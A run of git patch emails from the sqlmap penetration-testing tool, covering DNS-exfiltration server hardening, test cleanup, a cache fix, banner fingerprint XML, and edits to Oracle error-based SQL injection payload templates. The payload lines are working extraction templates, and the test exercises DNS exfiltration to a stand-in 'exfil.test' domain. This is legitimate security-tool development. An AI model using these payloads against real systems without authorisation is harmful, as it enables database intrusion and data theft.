self._socket.close() + except socket.error: + pass + _CONF = {"dnsDomain": "exfil.test", "hexConvert": False, "api": False, "verbose": 0, "forceDns": False} _KB = {"dnsTest": True, "dnsMode": False, "bruteMode": False, "safeCharEncode": False} @@ -81,11 +87,18 @@ class _DnsCase(unittest.TestCase): @classmethod def setUpClass(cls): - cls.server = _HighPortDNSServer(DNS_PORT) + cls.server = _HighPortDNSServer() cls.server.run() while not cls.server._initialized: time.sleep(0.02) + @classmethod + def tearDownClass(cls): + server = getattr(cls, "server", None) + if server is not None: + server.close() + cls.server = None + def setUp(self): self._saved_conf = {k: conf.get(k) for k in _CONF} self._saved_kb = {k: kb.get(k) for k in _KB} @@ -156,7 +169,7 @@ def oracle(payload=None, *args, **kwargs): host = "%s.%s.%s.%s" % (prefix, binascii.hexlify(chunk).decode(), suffix, conf.dnsDomain) c = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) c.settimeout(3) - c.sendto(_build_query(host), ("127.0.0.1", DNS_PORT)) + c.sendto(_build_query(host), ("127.0.0.1", self.server.port)) try: c.recvfrom(512) finally: From 4ba8edef1d321f23642bb0b7f97c33cf595a1895 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Mon, 22 Jun 2026 22:28:30 +0200 Subject: [PATCH 601/853] Minor update --- data/txt/sha256sums.txt | 4 +-- lib/core/settings.py | 2 +- lib/request/dns.py | 66 ++++++++++++++++++++++++++++++----------- 3 files changed, 52 insertions(+), 20 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index 85fb9356ea6..9a8211888c8 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -189,7 +189,7 @@ ccc4a717e887652b1fcce073d9409d9c59a3b28548c703a9e453d15845f90cd7 lib/core/patch 9bf174058f15d14e24e94f9aaf42df045119d3617c6c54bd2f3af79b462f331d lib/core/replication.py 0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -c041ad865180b79c4b3e798530638d00ca1f9fa14e4c9e1506a2bf7c8c811b9f lib/core/settings.py +4df19d4b5ce21922573c387d9f4a2a228a44a4f7c07c9a0d4c38048b04e1912b lib/core/settings.py c7804223319e18eb0b8e2cbf0a8b6896d1cefb7b0b1a2e9f1cf826a8a3b56750 lib/core/shell.py a2e98a94b231432736d6b304fc75525c8b5fdb4768c418387c5b4c1a610dad64 lib/core/subprocessng.py 19f1e3c5e3ba703d28d510cd7a9ab8284d5fbe9df5ce7e77c86e5931571364b7 lib/core/target.py @@ -214,7 +214,7 @@ bc61bc944b81a7670884f82231033a6ac703324b34b071c9834886a92e249d0e lib/request/ch d4bb0869b03602a0c8f9e0e0fd217753f14ddadf848fc9f3c65a74d03feb9958 lib/request/comparison.py b9e2db44d265909792f6cc821ff910727b14aa2d5063c74b0f2ea6d40c4f3d9d lib/request/connect.py 8e06682280fce062eef6174351bfebcb6040e19976acff9dc7b3699779783498 lib/request/direct.py -05198477dbdeb6c405059eb21cbbcf9cb6804cc54a0f2a1d11741bfc6cbb7ca2 lib/request/dns.py +676d59c53de4d119f79a8b32c4d9282c1e48833dca688f743d8a0c06433aa502 lib/request/dns.py 92c81cc31ff4a396723242058fb2152c9e9745f8412d01ea74480b048a53af6c lib/request/httpshandler.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/request/__init__.py 7a0ac2522213e756348fd871a7af74cc963bdc82f9d7ade57be5de42b5bf7cab lib/request/inject.py diff --git a/lib/core/settings.py b/lib/core/settings.py index 4c57af444e0..8261a846a53 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.6.145" +VERSION = "1.10.6.146" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/request/dns.py b/lib/request/dns.py index ffd389a4da0..0b0d6d291ab 100644 --- a/lib/request/dns.py +++ b/lib/request/dns.py @@ -34,18 +34,42 @@ def __init__(self, raw): self._query = b"" try: + # Minimum DNS header length is 12 bytes, followed by at least a + # root label terminator. Shorter packets are malformed/no-op. + if len(raw) <= 12: + return + type_ = (ord(raw[2:3]) >> 3) & 15 # Opcode bits if type_ == 0: # Standard query i = 12 - j = ord(raw[i:i + 1]) + parts = [] - while j != 0: - self._query += raw[i + 1:i + j + 1] + b'.' - i = i + j + 1 + while i < len(raw): j = ord(raw[i:i + 1]) - except TypeError: - pass + + if j == 0: + break + + # Compression pointers are not expected in the question name + # here. Treat them as malformed instead of walking arbitrary + # offsets or creating a partial query. + if j & 0xc0: + parts = [] + break + + i = i + 1 + if i + j > len(raw): + parts = [] + break + + parts.append(raw[i:i + j]) + i = i + j + + if parts: + self._query = b".".join(parts) + b'.' + except Exception: + self._query = b"" def response(self, resolution): """ @@ -55,16 +79,19 @@ def response(self, resolution): retVal = b"" if self._query: - retVal += self._raw[:2] # Transaction ID - retVal += b"\x85\x80" # Flags (Standard query response, No error) - retVal += self._raw[4:6] + self._raw[4:6] + b"\x00\x00\x00\x00" # Questions and Answers Counts - retVal += self._raw[12:(12 + self._raw[12:].find(b"\x00") + 5)] # Original Domain Name Query - retVal += b"\xc0\x0c" # Pointer to domain name - retVal += b"\x00\x01" # Type A - retVal += b"\x00\x01" # Class IN - retVal += b"\x00\x00\x00\x20" # TTL (32 seconds) - retVal += b"\x00\x04" # Data length - retVal += b"".join(struct.pack('B', int(_)) for _ in resolution.split('.')) # 4 bytes of IP + offset = self._raw[12:].find(b"\x00") + + if offset >= 0: + retVal += self._raw[:2] # Transaction ID + retVal += b"\x85\x80" # Flags (Standard query response, No error) + retVal += self._raw[4:6] + self._raw[4:6] + b"\x00\x00\x00\x00" # Questions and Answers Counts + retVal += self._raw[12:(12 + offset + 5)] # Original Domain Name Query + retVal += b"\xc0\x0c" # Pointer to domain name + retVal += b"\x00\x01" # Type A + retVal += b"\x00\x01" # Class IN + retVal += b"\x00\x00\x00\x20" # TTL (32 seconds) + retVal += b"\x00\x04" # Data length + retVal += b"".join(struct.pack('B', int(_)) for _ in resolution.split('.')) # 4 bytes of IP return retVal @@ -160,10 +187,15 @@ def _(): try: _ = DNSQuery(data) + if not _._query: + continue + with self._lock: self._requests.append(_._query) - self._socket.sendto(_.response("127.0.0.1"), addr) + response = _.response("127.0.0.1") + if response: + self._socket.sendto(response, addr) except KeyboardInterrupt: raise except Exception: From b66840eb2eb2f14feabeecececb5b2d475055c4a Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Mon, 22 Jun 2026 22:32:26 +0200 Subject: [PATCH 602/853] Potential patch for CI/CD issue --- data/txt/sha256sums.txt | 4 +-- lib/core/settings.py | 2 +- lib/request/dns.py | 78 ++++++++++++++++++++++++----------------- 3 files changed, 49 insertions(+), 35 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index 9a8211888c8..5a87ad68422 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -189,7 +189,7 @@ ccc4a717e887652b1fcce073d9409d9c59a3b28548c703a9e453d15845f90cd7 lib/core/patch 9bf174058f15d14e24e94f9aaf42df045119d3617c6c54bd2f3af79b462f331d lib/core/replication.py 0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -4df19d4b5ce21922573c387d9f4a2a228a44a4f7c07c9a0d4c38048b04e1912b lib/core/settings.py +8a424d4e91d0d5b57502d2699e95acbb12e1378330fbbb4ffa75b507141aec36 lib/core/settings.py c7804223319e18eb0b8e2cbf0a8b6896d1cefb7b0b1a2e9f1cf826a8a3b56750 lib/core/shell.py a2e98a94b231432736d6b304fc75525c8b5fdb4768c418387c5b4c1a610dad64 lib/core/subprocessng.py 19f1e3c5e3ba703d28d510cd7a9ab8284d5fbe9df5ce7e77c86e5931571364b7 lib/core/target.py @@ -214,7 +214,7 @@ bc61bc944b81a7670884f82231033a6ac703324b34b071c9834886a92e249d0e lib/request/ch d4bb0869b03602a0c8f9e0e0fd217753f14ddadf848fc9f3c65a74d03feb9958 lib/request/comparison.py b9e2db44d265909792f6cc821ff910727b14aa2d5063c74b0f2ea6d40c4f3d9d lib/request/connect.py 8e06682280fce062eef6174351bfebcb6040e19976acff9dc7b3699779783498 lib/request/direct.py -676d59c53de4d119f79a8b32c4d9282c1e48833dca688f743d8a0c06433aa502 lib/request/dns.py +a6b37b436838caeb197fea858d0a39fadbff4736256e741b5fcec1f28fcf1ce0 lib/request/dns.py 92c81cc31ff4a396723242058fb2152c9e9745f8412d01ea74480b048a53af6c lib/request/httpshandler.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/request/__init__.py 7a0ac2522213e756348fd871a7af74cc963bdc82f9d7ade57be5de42b5bf7cab lib/request/inject.py diff --git a/lib/core/settings.py b/lib/core/settings.py index 8261a846a53..d97547397e2 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.6.146" +VERSION = "1.10.6.147" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/request/dns.py b/lib/request/dns.py index 0b0d6d291ab..d51c795821c 100644 --- a/lib/request/dns.py +++ b/lib/request/dns.py @@ -9,6 +9,7 @@ import binascii import collections +import errno import os import re import socket @@ -34,41 +35,35 @@ def __init__(self, raw): self._query = b"" try: - # Minimum DNS header length is 12 bytes, followed by at least a - # root label terminator. Shorter packets are malformed/no-op. - if len(raw) <= 12: + if len(raw) < 13: return type_ = (ord(raw[2:3]) >> 3) & 15 # Opcode bits if type_ == 0: # Standard query i = 12 - parts = [] + labels = [] + + while True: + if i >= len(raw): + return - while i < len(raw): j = ord(raw[i:i + 1]) if j == 0: break - # Compression pointers are not expected in the question name - # here. Treat them as malformed instead of walking arbitrary - # offsets or creating a partial query. - if j & 0xc0: - parts = [] - break + i += 1 - i = i + 1 if i + j > len(raw): - parts = [] - break + return - parts.append(raw[i:i + j]) - i = i + j + labels.append(raw[i:i + j]) + i += j - if parts: - self._query = b".".join(parts) + b'.' - except Exception: + if labels: + self._query = b".".join(labels) + b'.' + except (TypeError, ValueError, IndexError): self._query = b"" def response(self, resolution): @@ -79,19 +74,21 @@ def response(self, resolution): retVal = b"" if self._query: - offset = self._raw[12:].find(b"\x00") - - if offset >= 0: - retVal += self._raw[:2] # Transaction ID - retVal += b"\x85\x80" # Flags (Standard query response, No error) - retVal += self._raw[4:6] + self._raw[4:6] + b"\x00\x00\x00\x00" # Questions and Answers Counts - retVal += self._raw[12:(12 + offset + 5)] # Original Domain Name Query - retVal += b"\xc0\x0c" # Pointer to domain name - retVal += b"\x00\x01" # Type A - retVal += b"\x00\x01" # Class IN - retVal += b"\x00\x00\x00\x20" # TTL (32 seconds) - retVal += b"\x00\x04" # Data length - retVal += b"".join(struct.pack('B', int(_)) for _ in resolution.split('.')) # 4 bytes of IP + end = self._raw[12:].find(b"\x00") + + if end < 0 or len(self._raw) < 12 + end + 5: + return retVal + + retVal += self._raw[:2] # Transaction ID + retVal += b"\x85\x80" # Flags (Standard query response, No error) + retVal += self._raw[4:6] + self._raw[4:6] + b"\x00\x00\x00\x00" # Questions and Answers Counts + retVal += self._raw[12:(12 + end + 5)] # Original Domain Name Query + retVal += b"\xc0\x0c" # Pointer to domain name + retVal += b"\x00\x01" # Type A + retVal += b"\x00\x01" # Class IN + retVal += b"\x00\x00\x00\x20" # TTL (32 seconds) + retVal += b"\x00\x04" # Data length + retVal += b"".join(struct.pack('B', int(_)) for _ in resolution.split('.')) # 4 bytes of IP return retVal @@ -168,15 +165,31 @@ def run(self): """ def _(): + def _is_udp_connreset(ex): + return getattr(ex, "winerror", None) == 10054 or getattr(ex, "errno", None) in (errno.ECONNRESET, 10054) + try: self._running = True self._initialized = True + try: + if hasattr(socket, "SIO_UDP_CONNRESET") and hasattr(self._socket, "ioctl"): + # Windows reports ICMP "port unreachable" for UDP as WSAECONNRESET on + # recvfrom(). DNS clients in tests and in the wild can disappear before + # reading our fake response; that must not kill the server thread. + self._socket.ioctl(socket.SIO_UDP_CONNRESET, False) + except Exception: + pass + while True: try: data, addr = self._socket.recvfrom(1024) except KeyboardInterrupt: raise + except socket.error as ex: + if _is_udp_connreset(ex): + continue + break # socket closed/broken - stop serving (e.g. program exit) except Exception: break # socket closed/broken - stop serving (e.g. program exit) @@ -194,6 +207,7 @@ def _(): self._requests.append(_._query) response = _.response("127.0.0.1") + if response: self._socket.sendto(response, addr) except KeyboardInterrupt: From de87b28c6159ac24847ed58e3d3b4c50adca2d09 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Tue, 23 Jun 2026 13:28:37 +0200 Subject: [PATCH 603/853] Minor patch --- data/txt/sha256sums.txt | 4 ++-- lib/core/decorators.py | 22 +++++++++++++--------- lib/core/settings.py | 2 +- 3 files changed, 16 insertions(+), 12 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index 5a87ad68422..e21ad3a50fe 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -173,7 +173,7 @@ c51c33501cc905586a9aaac93b06f2ac6f71628d032a7dc39fd0ef05d7ee3856 lib/core/bigar 742bce10b97034966021ec60c7ac294db4af4fe7893613d63172a02c29f009f8 lib/core/convert.py c03dc585f89642cfd81b087ac2723e3e1bb3bfa8c60e6f5fe58ef3b0113ebfe6 lib/core/data.py 6c8d40d6bbab4a60d09eb03324a3352d85df1a741c62044e73701e92172d1d38 lib/core/datatype.py -70fb2528e580b22564899595b0dff6b1bc257c6a99d2022ce3996a3d04e68e4e lib/core/decorators.py +f8de57606325456928e46ae2896f5f8bbec9ad18b1c644b492a566fa992216f6 lib/core/decorators.py 147823c37596bd6a56d677697781f34b8d1d1671d5a2518fbc9468d623c6d07d lib/core/defaults.py 7ce2c09ebcd63d57f7b6751f70f536e2a562230d51181eb24f5024bb6f3d74cc lib/core/dicts.py a3125c682e891f67255b89d2db891cbaae241f36dd277a272ae6db943111a157 lib/core/dump.py @@ -189,7 +189,7 @@ ccc4a717e887652b1fcce073d9409d9c59a3b28548c703a9e453d15845f90cd7 lib/core/patch 9bf174058f15d14e24e94f9aaf42df045119d3617c6c54bd2f3af79b462f331d lib/core/replication.py 0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -8a424d4e91d0d5b57502d2699e95acbb12e1378330fbbb4ffa75b507141aec36 lib/core/settings.py +4075b759ee9084605db70288b41f282fe3d4224f62d9b382ce3139e572145b97 lib/core/settings.py c7804223319e18eb0b8e2cbf0a8b6896d1cefb7b0b1a2e9f1cf826a8a3b56750 lib/core/shell.py a2e98a94b231432736d6b304fc75525c8b5fdb4768c418387c5b4c1a610dad64 lib/core/subprocessng.py 19f1e3c5e3ba703d28d510cd7a9ab8284d5fbe9df5ce7e77c86e5931571364b7 lib/core/target.py diff --git a/lib/core/decorators.py b/lib/core/decorators.py index 53603e81637..0490692676b 100644 --- a/lib/core/decorators.py +++ b/lib/core/decorators.py @@ -59,15 +59,19 @@ def _f(*args, **kwargs): return cache[key] except TypeError: - # Note: fallback (slowpath( - if kwargs: - key = (_freeze(args), _freeze(kwargs)) - else: - key = _freeze(args) - - with lock: - if key in cache: - return cache[key] + # Note: fallback (slow-path) for unhashable arguments + try: + if kwargs: + key = (_freeze(args), _freeze(kwargs)) + else: + key = _freeze(args) + + with lock: + if key in cache: + return cache[key] + except TypeError: + # Note: genuinely uncacheable arguments; skip caching altogether + return f(*args, **kwargs) result = f(*args, **kwargs) diff --git a/lib/core/settings.py b/lib/core/settings.py index d97547397e2..5d3ab804e73 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.6.147" +VERSION = "1.10.6.148" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From c0d343b341f3b5bbe39b46ea7046d4df43a95f00 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Tue, 23 Jun 2026 13:43:48 +0200 Subject: [PATCH 604/853] Some XML updates --- data/txt/sha256sums.txt | 10 +- data/xml/banner/generic.xml | 6 +- data/xml/banner/mssql.xml | 190 ++++++++++++++++++++++++++++++++++++ data/xml/banner/mysql.xml | 27 +++++ lib/core/settings.py | 2 +- tests/test_datafiles.py | 4 + 6 files changed, 232 insertions(+), 7 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index e21ad3a50fe..58c62b922a8 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -65,9 +65,9 @@ c5b9d622aca6da735e7ed9906e28c7e061e97c223ef92ba1a5d5028ecbb16962 data/udf/postg 8f7f59a6896ae5b39e2afbfe8479a1f2637fb52220cc1e7158921e570d15fb2a data/udf/postgresql/windows/32/8.4/lib_postgresqludf_sys.dll_ 7c2511b47ab9d0de1d77f1d775c6522285687ee82fec0edc11cada75ac3f29ae data/udf/postgresql/windows/32/9.0/lib_postgresqludf_sys.dll_ 0a6d5fc399e9958477c8a71f63b7c7884567204253e0d2389a240d83ed83f241 data/udf/README.txt -288592bbc7115870516865d5a92c2e1d1d54f11a26a86998f8829c13724e2551 data/xml/banner/generic.xml -2adcdd08d2c11a5a23777b10c132164ed9e856f2a4eca2f75e5e9b6615d26a97 data/xml/banner/mssql.xml -14b18da611d4bfad50341df89f893edf47cd09c41c9662e036e817055eaa0cfb data/xml/banner/mysql.xml +f52cd86ed1a1a710e10f2e85faa7c8c85892398c60ad6324f320f826a6ba46e3 data/xml/banner/generic.xml +99f8f7311642bab38e1ffd59ca8f9a6110c4e3449d6c65b4812f2822088fd217 data/xml/banner/mssql.xml +332d38de02c04f5d99fe3fd894c93aafd70032ee6de217c76dfaab2133d9eca9 data/xml/banner/mysql.xml 6d1ab53eeac4fae6d03b67fb4ada71b915e1446a9c1cc4d82eafc032800a68fd data/xml/banner/oracle.xml 9f4ca1ff145cfbe3c3a903a21bf35f6b06ab8b484dad6b7c09e95262bf6bfa05 data/xml/banner/postgresql.xml 86da6e90d9ccf261568eda26a6455da226c19a42cc7cd211e379cab528ec621e data/xml/banner/server.xml @@ -189,7 +189,7 @@ ccc4a717e887652b1fcce073d9409d9c59a3b28548c703a9e453d15845f90cd7 lib/core/patch 9bf174058f15d14e24e94f9aaf42df045119d3617c6c54bd2f3af79b462f331d lib/core/replication.py 0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -4075b759ee9084605db70288b41f282fe3d4224f62d9b382ce3139e572145b97 lib/core/settings.py +5938c26ca808b908c2af438498ae9aafedbea9e3db999857bf318dd630b2ab68 lib/core/settings.py c7804223319e18eb0b8e2cbf0a8b6896d1cefb7b0b1a2e9f1cf826a8a3b56750 lib/core/shell.py a2e98a94b231432736d6b304fc75525c8b5fdb4768c418387c5b4c1a610dad64 lib/core/subprocessng.py 19f1e3c5e3ba703d28d510cd7a9ab8284d5fbe9df5ce7e77c86e5931571364b7 lib/core/target.py @@ -581,7 +581,7 @@ a48c411fea864e6bcd6a1c7e1a35094b8cda8d15088fd9e7b0270542ae20daa9 tests/test_com 899bc085e96d68f8a8cbe0d7e55863e98ef37b73ab0e4234f7d969e31ea2d23a tests/test_comparison_json.py 7b72d4f850bbd059b8e95fceb45a58470354cb7270c99b0e9981aaa189af20d1 tests/test_comparison.py 8593f14a18c4445c58b2e59462adcb761074ac7217cd7c3808519a90ba279bda tests/test_convert.py -5016119bdb57094381afdca35ef29a4a6641e26e4b48a9119f1db633e6123d29 tests/test_datafiles.py +c17544be5e945dc8c4fbb5c3b922da8eceec30b0fb239c32fb5f40e1660a197f tests/test_datafiles.py 9c240d4f796e56376374d4ce46f358ceb7d48cc6a7427760c5bfb89ff01cb545 tests/test_datatypes.py 3804eb2d730220360f9dc07d5994eb64e9f65acf3b0d8648df8df2a2177ba8fd tests/test_decodepage.py 9c0a0cd0b2d52a53f75c98c60f87a022354b7c3dc4baaf3fe1e272a0af5b7f0a tests/test_dialectdbms.py diff --git a/data/xml/banner/generic.xml b/data/xml/banner/generic.xml index 6bd38d6b4c7..723d31bd527 100644 --- a/data/xml/banner/generic.xml +++ b/data/xml/banner/generic.xml @@ -34,7 +34,7 @@ - + @@ -179,6 +179,10 @@ + + + + diff --git a/data/xml/banner/mssql.xml b/data/xml/banner/mssql.xml index f3d5eceba51..9a0115003a2 100644 --- a/data/xml/banner/mssql.xml +++ b/data/xml/banner/mssql.xml @@ -1,5 +1,195 @@ + + + + + 16.0 + + + + + + + 16.0.1000.6 + + + 0 + + + + + + + 15.0 + + + + + + + 15.0.2000.5 + + + 0 + + + + + + + 14.0 + + + + + + + 14.0.1000.169 + + + 0 + + + + + + + 13.0 + + + + + + + 13.0.1601.5 + + + 0 + + + + + 13.0.4001.0 + + + 1 + + + + + 13.0.5026.0 + + + 2 + + + + + 13.0.6300.2 + + + 3 + + + + + + + 12.0 + + + + + + + 12.0.2000.8 + + + 0 + + + + + 12.0.4100.1 + + + 1 + + + + + 12.0.5000.0 + + + 2 + + + + + 12.0.6024.0 + + + 3 + + + + + + + 11.0 + + + + + + + 11.0.2100.60 + + + 0 + + + + + 11.0.3000.0 + + + 1 + + + + + 11.0.5058.0 + + + 2 + + + + + 11.0.6020.0 + + + 3 + + + + + 11.0.7001.0 + + + 4 + + + diff --git a/data/xml/banner/mysql.xml b/data/xml/banner/mysql.xml index 456c9510b82..1af92764548 100644 --- a/data/xml/banner/mysql.xml +++ b/data/xml/banner/mysql.xml @@ -3,6 +3,7 @@ @@ -76,4 +77,30 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/lib/core/settings.py b/lib/core/settings.py index 5d3ab804e73..3538a8b429b 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.6.148" +VERSION = "1.10.6.149" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/tests/test_datafiles.py b/tests/test_datafiles.py index 9308bb34953..f8dbcabe92d 100644 --- a/tests/test_datafiles.py +++ b/tests/test_datafiles.py @@ -83,6 +83,10 @@ def test_core_xml_parses(self): path = os.path.join(ROOT, "data", "xml", rel) ET.parse(path) # raises on malformed + def test_banner_xml_parses(self): + for path in glob.glob(os.path.join(ROOT, "data", "xml", "banner", "*.xml")): + ET.parse(path) # raises on malformed + class TestSourceAsciiSafety(unittest.TestCase): # sqlmap source files carry NO coding header, so any non-ASCII byte breaks py2 parsing. From f15b73d5716d39fab9e16d7d0314aa08ecbdda82 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Tue, 23 Jun 2026 14:14:52 +0200 Subject: [PATCH 605/853] Minor fixes --- data/txt/sha256sums.txt | 6 +++--- data/xml/payloads/error_based.xml | 6 +++--- data/xml/payloads/time_blind.xml | 4 ++-- lib/core/settings.py | 2 +- 4 files changed, 9 insertions(+), 9 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index 58c62b922a8..6b9c2b87552 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -79,10 +79,10 @@ e2febc92f9686eacf17a0054f175917b783cc6638ca570435a5203b03245fc18 data/xml/banne a32fc8796082d2e45cfc969f0b45ad476bf87a8515d67b2fed77c5058df5a0f5 data/xml/boundaries.xml 0baf0fade74d4ad294ee88ef306743da0c6a4631b8d640708809103ef9cf63ed data/xml/errors.xml 43910a73d7de51e3541bfe4bdffe8923c73b0fbd74300912d4cec95d4f728673 data/xml/payloads/boolean_blind.xml -a65b6e29389b1543f54da6aced3ca4abdcd68cb626ceefc61fb9985bda692251 data/xml/payloads/error_based.xml +c8d467837c8567b61a11e2dfd75a2d8305a8b317041ee81eda6d0e47609dabb7 data/xml/payloads/error_based.xml 516a2ff314bba3ecf65d0371bf8c2654ad79b09c0737b1fe0f178d7885a9508d data/xml/payloads/inline_query.xml 0648264166455010921df1ec431e4c973809f37ef12cbfea75f95029222eb689 data/xml/payloads/stacked_queries.xml -997556b6170964a64474a2e053abe33cf2cf029fb1acec660d4651cc67a3c7e1 data/xml/payloads/time_blind.xml +379fc92f2dadd948f401e17490d8a8f03a1988d817323cbe1feff5fe87726079 data/xml/payloads/time_blind.xml 40a4878669f318568097719d07dc906a19b8520bc742be3583321fc1e8176089 data/xml/payloads/union_query.xml ff368554d3320ffa50751e32c903aeec21221f351f3efa573a211081947f69e8 data/xml/queries.xml 127799739f9aeabca367027197f3c0240f141303bd7499928ccfa1443bf148c7 doc/ARCHITECTURE.md @@ -189,7 +189,7 @@ ccc4a717e887652b1fcce073d9409d9c59a3b28548c703a9e453d15845f90cd7 lib/core/patch 9bf174058f15d14e24e94f9aaf42df045119d3617c6c54bd2f3af79b462f331d lib/core/replication.py 0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -5938c26ca808b908c2af438498ae9aafedbea9e3db999857bf318dd630b2ab68 lib/core/settings.py +b01cfaf542516bce373b0543fc74c0e25b32a8e5f75b6e9990e4e119347059b5 lib/core/settings.py c7804223319e18eb0b8e2cbf0a8b6896d1cefb7b0b1a2e9f1cf826a8a3b56750 lib/core/shell.py a2e98a94b231432736d6b304fc75525c8b5fdb4768c418387c5b4c1a610dad64 lib/core/subprocessng.py 19f1e3c5e3ba703d28d510cd7a9ab8284d5fbe9df5ce7e77c86e5931571364b7 lib/core/target.py diff --git a/data/xml/payloads/error_based.xml b/data/xml/payloads/error_based.xml index f71fa33e6e1..95fd4b40b7a 100644 --- a/data/xml/payloads/error_based.xml +++ b/data/xml/payloads/error_based.xml @@ -593,7 +593,7 @@ 3 1,9 2 - OR [RANDNUM]=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||'[DELIMITER_START]'||(REPLACE(REPLACE(REPLACE(([QUERY]),' ','[SPACE_REPLACE]'),'$','[DOLLAR_REPLACE]'),'@','[AT_REPLACE]'))||'[DELIMITER_STOP]'||CHR(62))) FROM DUAL) + OR [RANDNUM]=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||'[DELIMITER_START]'||(REPLACE(REPLACE(REPLACE(REPLACE(([QUERY]),' ','[SPACE_REPLACE]'),'$','[DOLLAR_REPLACE]'),'@','[AT_REPLACE]'),'#','[HASH_REPLACE]'))||'[DELIMITER_STOP]'||CHR(62))) FROM DUAL) OR [RANDNUM]=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||'[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM DUAL)||'[DELIMITER_STOP]'||CHR(62))) FROM DUAL) @@ -1256,7 +1256,7 @@ 1 1,3 3 - (SELECT UPPER(XMLType(CHR(60)||CHR(58)||'[DELIMITER_START]'||(REPLACE(REPLACE(REPLACE(([QUERY]),' ','[SPACE_REPLACE]'),'$','[DOLLAR_REPLACE]'),'@','[AT_REPLACE]'))||'[DELIMITER_STOP]'||CHR(62))) FROM DUAL) + (SELECT UPPER(XMLType(CHR(60)||CHR(58)||'[DELIMITER_START]'||(REPLACE(REPLACE(REPLACE(REPLACE(([QUERY]),' ','[SPACE_REPLACE]'),'$','[DOLLAR_REPLACE]'),'@','[AT_REPLACE]'),'#','[HASH_REPLACE]'))||'[DELIMITER_STOP]'||CHR(62))) FROM DUAL) (SELECT UPPER(XMLType(CHR(60)||CHR(58)||'[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM DUAL)||'[DELIMITER_STOP]'||CHR(62))) FROM DUAL) @@ -1533,7 +1533,7 @@ 1 2,3 1 - ,(SELECT 